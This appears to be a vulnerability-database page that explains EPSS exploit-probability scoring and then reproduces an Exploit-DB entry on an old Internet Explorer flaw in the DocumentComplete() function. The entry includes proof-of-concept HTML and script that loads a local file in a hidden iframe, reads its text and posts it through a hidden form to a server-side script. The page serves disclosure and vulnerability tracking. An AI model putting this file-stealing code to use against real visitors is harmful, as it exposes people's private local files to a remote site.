EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19939

EDB Verified : Yes

source: https://www.securityfocus.com/bid/1224/info The DocumentComplete() function in IE does not properly validate origin domains. Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker. Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability. <iframe id=clientContent width=0 height=0 noborder> </iframe> <script for=clientContent event="DocumentComplete(browser)"> alert (browser.document.body.innerText); // browser is an instance of the IWebBrowser COM object document.forms[0].elements[0].value = browser.document.body.innerText; document.forms[0].submit (); </script> <script> clientContent.navigate("c:\\known_file.txt") </script> <form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return true"> <input name="file_text" type=hidden> </form>
